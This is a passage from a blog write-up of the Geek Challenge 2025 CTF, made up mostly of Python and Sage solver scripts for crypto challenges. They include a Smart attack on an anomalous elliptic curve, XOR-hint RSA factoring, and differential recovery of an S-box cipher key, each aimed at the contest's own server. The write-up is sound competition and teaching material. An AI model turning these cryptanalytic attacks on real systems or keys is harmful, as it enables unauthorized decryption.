13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
#!/usr/bin/env python3
# exploit_parse_any_fixed3.py
# usage: python3 exploit_parse_any_fixed3.py [host] [port]
# fixed: handle shift=0 (raw plaintext flag), robust parsing, verbose
# Requires: pwntools

from pwn import remote, context
import sys, re, binascii
from datetime import datetime

context.log_level = 'info'

DEFAULT_HOST = "geek.ctfplus.cn"
DEFAULT_PORT = 32528
P_DEFAULT = 1000000007

def now(): return datetime.now().strftime("%Y-%m-%d %H:%M:%S")

def caesar_decrypt(text: str, shift: int) -> str:
if shift == 0:
return text
res = []
for ch in text:
if 'A' <= ch <= 'Z':
base = ord('A')
res.append(chr((ord(ch) - base - shift) % 26 + base))
elif 'a' <= ch <= 'z':
base = ord('a')
res.append(chr((ord(ch) - base - shift) % 26 + base))
else:
res.append(ch)
return ''.join(res)

def find_best_plaintext(cipher_bytes: bytes):
"""Try shifts 0..25. If raw decoded already contains Flag/SYC return it immediately."""
try:
s = cipher_bytes.decode('utf-8', errors='ignore')
except:
s = str(cipher_bytes)

# If raw data already contains flag-like text, return it (shift=0)
if "Flag:" in s or "SYC{" in s:
return (0, s), [(0, s)]

candidates = []
best = None
# include shift 0 .. 25
for sh in range(0, 26):
plain = caesar_decrypt(s, sh)
candidates.append((sh, plain))
# choose candidate that contains either PROVIDE or a line ending with ':' (prompt)
if "PROVIDE" in plain or re.search(r"[A-Za-z]+:\s*$", plain, re.M) or re.search(r"[A-Za-z]+:\s*\d+", plain):
best = (sh, plain)
break
if best is None:
# fallback: choose candidate with most digits (heuristic)
scored = []
for sh, plain in candidates:
score = len(re.findall(r"\d+", plain))
scored.append((score, sh, plain))
scored.sort(reverse=True)
best = (scored[0][1], scored[0][2])
return best, candidates

def parse_three_ints(plain: str):
ints = re.findall(r"\d+", plain)
if len(ints) >= 3:
a = int(ints[0])
b = int(ints[1])
p = int(ints[2])
return a, b, p
return None

def compute_fixed_point(a, b, p):
if (a - 1) % p == 0:
if b % p == 0:
return 0, "a==1 and b==0 (any x works -> choose 0)"
else:
return 0, "a==1 and b!=0 (no fixed point) -> fallback 0"
inv = pow(a - 1, p - 2, p)
x = (-b * inv) % p
return x, f"inv(a-1)={inv}"

def pretty_hex(bts, n=80):
try:
return binascii.hexlify(bts[:n]).decode()
except:
return repr(bts[:n])

def main():
host = DEFAULT_HOST
port = DEFAULT_PORT
if len(sys.argv) >= 2:
host = sys.argv[1]
if len(sys.argv) >= 3:
port = int(sys.argv[2])

print(f"[{now()}] Connecting to {host}:{port}")
r = remote(host, port, timeout=10)
round_num = 0
try:
while True:
round_num += 1
data = b""
# receive initial block (wait up to a few seconds)
try:
data = r.recv(timeout=6, numb=4096)
except TypeError:
try:
data = r.recv(timeout=6)
except Exception as e:
print(f"[{now()}] recv fallback err: {e}")
data = b""
except Exception as e:
print(f"[{now()}] recv timeout/err: {e}")

if not data:
print(f"[{now()}] No data received; remote closed or timed out.")
break

print(f"\n[{now()}] ===== Round {round_num} =====")
print(f"[{now()}] Raw hex snippet: {pretty_hex(data,200)}")

# Quick check: raw decoded may already be flag/plaintext
try:
raw_decoded = data.decode('utf-8', errors='ignore')
except:
raw_decoded = str(data)
if "Flag:" in raw_decoded or "SYC{" in raw_decoded:
print(f"[{now()}] Raw decoded contains flag/final message:\n{raw_decoded}")
break

(best_shift, plain), candidates = find_best_plaintext(data)

print(f"[{now()}] Chosen shift = {best_shift}")
# compact candidates log
for sh, cand in candidates[:12]:
one = cand.splitlines()[0] if cand.splitlines() else cand
digits_count = len(re.findall(r"\d+", cand))
flag_hint = ("PROVIDE" in cand) or (digits_count >= 3)
chosen = "<- chosen" if sh==best_shift else ""
print(f" shift={sh:2d} | digits={digits_count} | hint={flag_hint} | {one[:120]} {chosen}")

print(f"\n[{now()}] Decrypted (shift={best_shift}):\n---\n{plain}\n---")

# If contains flag or final info
if "Flag:" in plain or "SYC{" in plain:
print(f"[{now()}] Received final message:\n{plain}")
break

# parse three ints robustly
params = parse_three_ints(plain)
if not params:
# try to receive more bytes (maybe prompt split)
print(f"[{now()}] Could not find 3 integers, attempting to recv more bytes (short wait).")
try:
more = r.recv(timeout=1, numb=4096)
except TypeError:
try:
more = r.recv(timeout=1)
except:
more = b""
except Exception:
more = b""
if more:
print(f"[{now()}] Received extra bytes: {pretty_hex(more,120)}")
(best_shift2, plain2), _ = find_best_plaintext(data + more)
print(f"[{now()}] Decrypted with extra (shift={best_shift2}):\n{plain2}")
params = parse_three_ints(plain2)
if params:
plain = plain2
if not params:
print(f"[{now()}] ERROR: still couldn't get 3 integers. Showing few candidate decrypts and skipping this round.")
for sh,cand in candidates[:8]:
print(f" shift={sh}: {cand.splitlines()[0] if cand.splitlines() else cand}")
# consume stray reply then continue
try:
_ = r.recv(timeout=0.5, numb=4096)
except TypeError:
try:
_ = r.recv(timeout=0.5)
except:
pass
except:
pass
continue

a,b,p = params
print(f"[{now()}] Parsed numbers -> a={a} b={b} p={p}")
x, info = compute_fixed_point(a,b,p)
print(f"[{now()}] Computed x={x} ({info})")
payload = str(x).encode()
print(f"[{now()}] Sending x -> {payload!r}")
r.sendline(payload)

# read server reply
try:
resp = r.recvline(timeout=3)
except Exception:
resp = None
if resp:
txt = resp.decode(errors='ignore').strip()
print(f"[{now()}] Server reply: {txt}")
if "Wrong!" in txt or "Invalid" in txt:
print(f"[{now()}] Got negative reply; stopping.")
break
else:
try:
extra = r.recv(timeout=1, numb=4096)
except TypeError:
try:
extra = r.recv(timeout=1)
except:
extra = b""
except Exception:
extra = b""
if extra:
txt = extra.decode(errors='ignore')
print(f"[{now()}] Additional data: {txt}")
if "Flag:" in txt or "SYC{" in txt:
print(f"[{now()}] Flag received:\n{txt}")
break

# safety guard
if round_num >= 120:
print(f"[{now()}] Too many rounds, aborting.")
break

except KeyboardInterrupt:
print(f"[{now()}] Interrupted by user.")
finally:
print(f"[{now()}] Closing connection.")
try: r.close()
except: pass

if __name__ == '__main__':
main()

crypto-ez_ecc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from sage.all import *
from Crypto.Util.number import long_to_bytes

# Load the challenge data
p = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411
A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123
B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a

E = EllipticCurve(GF(p), [A, B])

P_x = 0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7
P_y = 0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba
P = E(P_x, P_y)

Q_x = 97490713033364940809544067604441149095210096571946998449251275861394744757515
Q_y = 32198694245056943922016695558131047889851279706531342583322750112905104448879
Q = E(Q_x, Q_y)

print("Analyzing the curve...")
print(f"p = {p}")
print(f"Curve order = {E.order()}")
print(f"p == curve_order: {p == E.order()}")

# Check if p is prime
print(f"\nIs p prime? {is_prime(p)}")

# Since curve_order = p, let's check the trace of Frobenius
# For elliptic curves over GF(p): #E(GF(p)) = p + 1 - t
# where t is the trace of Frobenius
trace = p + 1 - E.order()
print(f"Trace of Frobenius: {trace}")

# An anomalous curve has trace = 1 (order = p)
# These curves are vulnerable to the Smart attack!
if E.order() == p:
print("\n*** This is an ANOMALOUS curve! (trace = 1, order = p) ***")
print("We can use the Smart attack (p-adic logarithm)\n")

# Smart Attack implementation
def smart_attack(P, Q, p):
"""
Solve ECDLP on anomalous curves using Smart's attack
"""
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ZZ(t) + randint(0, p) * p for t in E.a_invariants()])

P_Qp = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_p in P_Qp:
if GF(p)(P_p.xy()[1]) == P.xy()[1]:
break

Q_Qp = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_p in Q_Qp:
if GF(p)(Q_p.xy()[1]) == Q.xy()[1]:
break

p_times_P = p * P_p
p_times_Q = p * Q_p

x_P, y_P = p_times_P.xy()
x_Q, y_Q = p_times_Q.xy()

phi_P = -(x_P / y_P)
phi_Q = -(x_Q / y_Q)

k = ZZ(phi_Q / phi_P)

return k

print("Running Smart attack...")
k = smart_attack(P, Q, p)

print(f"k = {k}")
print(f"k (hex) = {hex(k)}")

# Verify
print(f"\nVerifying: k*P == Q: {k*P == Q}")

# Convert to flag
try:
flag = long_to_bytes(int(k))
print(f"\nFlag: {flag}")
if flag.startswith(b'SYC{'):
print("✓ Valid flag format!")
except Exception as e:
print(f"Error converting to bytes: {e}")
else:
print("Not an anomalous curve, trying discrete_log...")
k = discrete_log(Q, P, operation='+')
print(f"k = {k}")
flag = long_to_bytes(int(k))
print(f"Flag: {flag}")

crypto-pem

crypto-baby_rabin

CRYPTO-xor_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket, re, time, math, argparse, sys
from typing import Optional, Tuple, Dict, List

# ======== 固定容器地址 ========
HOST = "geek.ctfplus.cn"
PORT = 32499

# ============= I/O helpers =============
def recv_until_quiet(sock: socket.socket, total_wait=8.0, idle_gap=0.5) -> str:
end = time.time() + total_wait
buf = []
while time.time() < end:
try:
sock.settimeout(idle_gap)
chunk = sock.recv(16384)
if not chunk:
break
buf.append(chunk)
except Exception:
pass
out = b"".join(buf).decode(errors="ignore")
if out:
print(out, flush=True)
return out

def send_line(sock: socket.socket, s: str = ""):
if not s.endswith("\n"):
s += "\n"
sock.sendall(s.encode())

# ============= parsing =============
FIELD_KEYS = ["n","gift1","gift2","phi","phi(n)","sum","p+q","p_plus_q","xor","x","hint","r"]

def parse_fields(text: str) -> Dict[str, int]:
fields: Dict[str,int] = {}
for key in FIELD_KEYS:
m = re.search(rf'(?i)\b{re.escape(key)}\s*=\s*(\d+)', text)
if m:
fields[key.lower()] = int(m.group(1))
return fields

# ============= math helpers =============
def is_square(y: int) -> bool:
if y < 0: return False
r = math.isqrt(y); return r*r == y

def solve_from_sum(n: int, s: int) -> Optional[Tuple[int,int]]:
D = s*s - 4*n
if D < 0 or not is_square(D): return None
r = math.isqrt(D)
p = (s - r)//2; q = (s + r)//2
if p*q != n or p <= 1 or q <= 1: return None
return (p, q) if p <= q else (q, p)

# ============= stage1: XOR-only(2-adic) =============
def factor_xor_only(n: int, x: int, verbose: bool=False) -> Optional[Tuple[int,int]]:
# n odd, p,q odd ⇒ LSB(x)=0
if n % 2 == 0: return None
if (x & 1) != 0: return None

cands: List[int] = [1] # p 的最低位为 1
target_bits = max(n.bit_length(), x.bit_length())
for k in range(1, target_bits):
mask = (1 << (k + 1)) - 1
nx, nn = x & mask, n & mask
base = 1 << k
new: List[int] = []
for r_ in cands:
p0 = r_
if ((p0 * (p0 ^ nx)) & mask) == nn:
new.append(p0)
p1 = r_ | base
if ((p1 * (p1 ^ nx)) & mask) == nn:
new.append(p1)
if not new:
return None
cands = list(dict.fromkeys(new))
if verbose and (k % 32 == 0 or len(cands) > 300):
print(f"[XOR k={k}] cand={len(cands)}")
for p in cands:
if p > 1 and n % p == 0:
q = n // p
if (p ^ q) == x:
return (p, q) if p <= q else (q, p)
return None

# ============= stage2(A/B) 原方法(保留但不再使用) =============
def factor_and_modinv(*args, **kwargs): # 保留占位,避免误用
return None
def factor_and_iter(*args, **kwargs): # 保留占位,避免误用
return None

# ============= stage flows =============
def stage1_solve(sock: socket.socket, init_text: str) -> str:
text = init_text
# 服务器通常先等你回一行
if "n=" not in text.lower():
send_line(sock, "")
text += recv_until_quiet(sock, total_wait=6.0)
if "n=" not in text.lower():
send_line(sock, "0")
text += recv_until_quiet(sock, total_wait=4.0)

fields = parse_fields(text)
if "n" not in fields or ("gift1" not in fields and "xor" not in fields and "x" not in fields):
raise RuntimeError("stage1: failed to obtain n/gift1")

n = fields["n"]
x = fields.get("gift1") or fields.get("xor") or fields.get("x")

pq = factor_xor_only(n, x)
if not pq:
raise RuntimeError("stage1: XOR-only factoring failed")
p, q = pq
p_small = min(p, q)
print(f"[stage1] p = {p_small}")
send_line(sock, str(p_small))
tail = recv_until_quiet(sock, total_wait=10.0) # 第二关提示
return tail or ""

def stage2_solve(sock: socket.socket, init_text: str,
method: str = "inv", inv_beam: int = 150000, inv_bucket_bits: int = 16,
iter_beam: int = 150000, verbose: bool=False) -> None:
"""
按你的要求:不处理第二关数据,直接发送 '1' 作为占位符,读取后续输出。
"""
text = init_text or ""
if "n=" not in text.lower():
send_line(sock, "")
text += recv_until_quiet(sock, total_wait=6.0)

print("[stage2] 直接发送占位符 '1' 以触发 flag 输出")
send_line(sock, "1")
resp = recv_until_quiet(sock, total_wait=12.0)

# 尝试提取 flag(常见形如 NAME{...})
m = re.search(r"[A-Za-z0-9_]+\\{[^\\}]+\\}", resp)
if m:
print(f"[flag] {m.group(0)}")

# ============= 主程序(地址端口已写死) =============
def main():
ap = argparse.ArgumentParser(description="CTF factor/xor solver (2 stages, robust)")
# 去掉 --host/--port;其余参数保留以兼容你的使用习惯
ap.add_argument("--init-wait", type=float, default=6.0)
ap.add_argument("--method", choices=["inv","iter","auto"], default="inv")
ap.add_argument("--inv-beam", type=int, default=150000)
ap.add_argument("--inv-bucket-bits", type=int, default=16)
ap.add_argument("--beam", type=int, default=150000)
ap.add_argument("--verbose", action="store_true")
args = ap.parse_args()

try:
with socket.create_connection((HOST, PORT), timeout=8.0) as s:
print(f"[+] connected to {HOST}:{PORT}")
intro = recv_until_quiet(s, total_wait=args.init_wait)
tail = stage1_solve(s, intro)
stage2_solve(s, tail,
method=args.method,
inv_beam=args.inv_beam,
inv_bucket_bits=args.inv_bucket_bits,
iter_beam=args.beam,
verbose=args.verbose)
except MemoryError:
print("[-] MemoryError:请降低 --inv-beam/--beam。", flush=True)
sys.exit(1)
except Exception as e:
print(f"[-] error: {e}", flush=True)
sys.exit(1)

if __name__ == "__main__":
main()

crypto-dp_spill

crypto-SBOX-revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#!/usr/bin/env python3
from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import *

import ast

# ----------------- 常量,和题目保持一致 -----------------
P = [10, 21, 40, 84, 41, 11, 60, 110, 83, 17, 36, 125, 112, 4, 19, 64, 53, 34, 73, 113,
108, 57, 103, 8, 12, 58, 27, 117, 51, 126, 47, 111, 14, 99, 116, 25, 30, 1, 37,
54, 67, 44, 88, 96, 76, 123, 7, 22, 65, 20, 118, 94, 95, 18, 50, 6, 61, 102, 49,
86, 38, 62, 9, 43, 71, 127, 32, 104, 100, 59, 29, 0, 79, 31, 89, 105, 121, 39,
75, 91, 114, 2, 81, 28, 97, 106, 3, 24, 87, 80, 93, 120, 66, 5, 72, 101, 23, 56,
92, 98, 119, 78, 63, 124, 15, 42, 16, 35, 115, 122, 90, 52, 82, 46, 48, 107, 70,
69, 33, 55, 45, 26, 74, 109, 13, 85, 77, 68]

S_BOX = [186, 99, 226, 183, 75, 20, 152, 193, 4, 205, 38, 2, 9, 189, 3, 19, 89, 28, 228,
44, 225, 12, 0, 142, 30, 59, 54, 247, 138, 60, 137, 211, 153, 70, 109, 101,
130, 27, 252, 234, 77, 241, 132, 49, 46, 190, 214, 115, 184, 122, 199, 76,
103, 111, 182, 240, 31, 166, 48, 85, 11, 114, 171, 78, 230, 80, 15, 93, 239,
191, 176, 249, 179, 244, 45, 150, 125, 106, 1, 55, 50, 42, 26, 82, 33, 235,
135, 91, 22, 217, 128, 127, 254, 216, 221, 156, 104, 36, 229, 79, 227, 117,
136, 215, 72, 24, 202, 200, 147, 43, 158, 223, 236, 92, 112, 175, 35, 168,
96, 98, 248, 110, 58, 160, 218, 102, 74, 40, 208, 165, 159, 172, 123, 155,
178, 149, 177, 34, 154, 198, 185, 88, 64, 170, 207, 139, 162, 140, 144, 90,
194, 169, 6, 108, 237, 203, 81, 95, 201, 68, 16, 107, 174, 94, 105, 173, 157,
246, 148, 163, 220, 126, 23, 253, 164, 65, 143, 52, 181, 51, 84, 197, 21, 187,
113, 224, 63, 195, 32, 53, 151, 243, 250, 73, 120, 39, 134, 251, 188, 233, 87,
56, 118, 222, 161, 10, 133, 141, 232, 69, 238, 145, 29, 119, 57, 196, 14, 242,
131, 167, 37, 13, 255, 71, 83, 209, 100, 219, 245, 210, 66, 129, 204, 146, 86,
17, 212, 192, 231, 47, 206, 62, 61, 67, 18, 124, 8, 41, 97, 116, 25, 5, 7, 213,
121, 180]

# 预计算 P 的逆
INP = [0] * 128
for i in range(128):
INP[P[i] % 128] = i

# ----------------- 工具函数 -----------------
def int_to_byte_array(n, byte_size=16):
return [(n >> (8 * i)) & 0xFF for i in range(byte_size)]

def byte_array_to_int(byte_array):
return sum(byte << (8 * i) for i, byte in enumerate(byte_array))

def int_to_bin_128bit(T):
return format(T, '0128b')

def bin_to_int_128bit(b):
return int(b, 2)

def P_ex(T):
bin_T = int_to_bin_128bit(T)
permuted_bin = ['0'] * 128
for i in range(128):
permuted_bin[i] = bin_T[P[i] % 128]
return bin_to_int_128bit(''.join(permuted_bin))

def P_inv_ex(T):
bin_T = int_to_bin_128bit(T)
permuted_bin = ['0'] * 128
for i in range(128):
permuted_bin[i] = bin_T[INP[i] % 128]
return bin_to_int_128bit(''.join(permuted_bin))

def S_ex(b):
t = b >> 4
s = b & 0x0F
return S_BOX[16 * t + s]

# ----------------- 正式攻击逻辑 -----------------
def solve():
# 连接远端
r = remote("geek.ctfplus.cn", 32550)

# 读 Cipher, IV(都是类似 b'....' 的 bytes repr)
line = r.recvline().strip().decode()
assert line.startswith("Cipher=")
Cipher = ast.literal_eval(line.split("=", 1)[1])

line = r.recvline().strip().decode()
assert line.startswith("IV=")
IV = ast.literal_eval(line.split("=", 1)[1])

log.info(f"Cipher = {Cipher.hex()}")
log.info(f"IV = {IV.hex()}")

# 安全的查询函数:发 16 字节二进制 + '\n'
def query_encrypt_block(block: bytes) -> int:
"""
block: 必须是 16 bytes,且每个字节都不在空白列表里,
这样 .strip() 不会删掉我们任何东西。
"""
assert len(block) == 16
# 等提示
r.recvuntil(b"please Input M")
# 发原始 16 字节 + 换行
r.send(block + b"\n")

# 丢掉 "M=..."
r.recvline()
# 读 "C=xxx"
line = r.recvline().strip().decode()
assert line.startswith("C=")
return int(line.split("=", 1)[1])

# 先用全 0 block 拿 C0,消掉 key2
C0 = query_encrypt_block(b"\x00" * 16)
log.info(f"C0 = {C0}")

# 所有会被 strip 掉的空白字节
whitespace_bytes = {0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20}

# 选安全字节集:排除所有空白
safe_vals = [b for b in range(256) if b not in whitespace_bytes]

recovered_le = [0] * 16 # little-endian bytes of key1

for j in range(16):
log.info(f"Recovering key byte {j} ...")
pairs = [] # (m, y_j)

# 对该字节位置,枚举所有安全字节做差分
for m in safe_vals:
blk = bytearray(16)
blk[j] = m
C = query_encrypt_block(bytes(blk))

# 消掉 key2: C ^ C0 = P( S(M^k1) ^ S(0^k1) )
D = C ^ C0
# P^{-1} 还原到 S 层:得到 Z_int = S(M^k1) ^ S(k1)
Z = P_inv_ex(D)
Z_bytes = int_to_byte_array(Z)
yj = Z_bytes[j]
pairs.append((m, yj))

# 暴力枚举该字节的 key 值
candidates = []
for k in range(256):
Sk = S_ex(k)
ok = True
for m, y in pairs:
if S_ex(m ^ k) ^ Sk != y:
ok = False
break
if ok:
candidates.append(k)

if len(candidates) != 1:
log.error(f"byte {j} candidates = {candidates}")
raise SystemExit("某个字节候选不唯一,出问题了 QAQ")

recovered_le[j] = candidates[0]
log.success(f"key1_le[{j}] = {candidates[0]:02x}")

log.success("Recovered key1 (little-endian bytes) = " +
" ".join(f"{b:02x}" for b in recovered_le))

# 还原整数 key1,再转成 big-endian bytes(等价 long_to_bytes)
key1_int = byte_array_to_int(recovered_le)
key1_be = key1_int.to_bytes(16, "big")
log.success(f"AES key (big-endian) = {key1_be.hex()}")

# AES-CBC 解出 flag
cipher = AES.new(key1_be, AES.MODE_CBC, IV)
flag = unpad(cipher.decrypt(Cipher), AES.block_size)

print("\n==== FLAG ====")
print(flag)
print("==============")

r.close()


if __name__ == "__main__":
context.log_level = "info"
solve()

  • 标题: 极客大挑战2025wp
  • 作者: tiran
  • 创建于 : 2025-11-29 20:28:47
  • 更新于 : 2025-11-29 20:29:06
  • 链接: https://www.tiran.cc/2025/11/29/极客大挑战2025wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。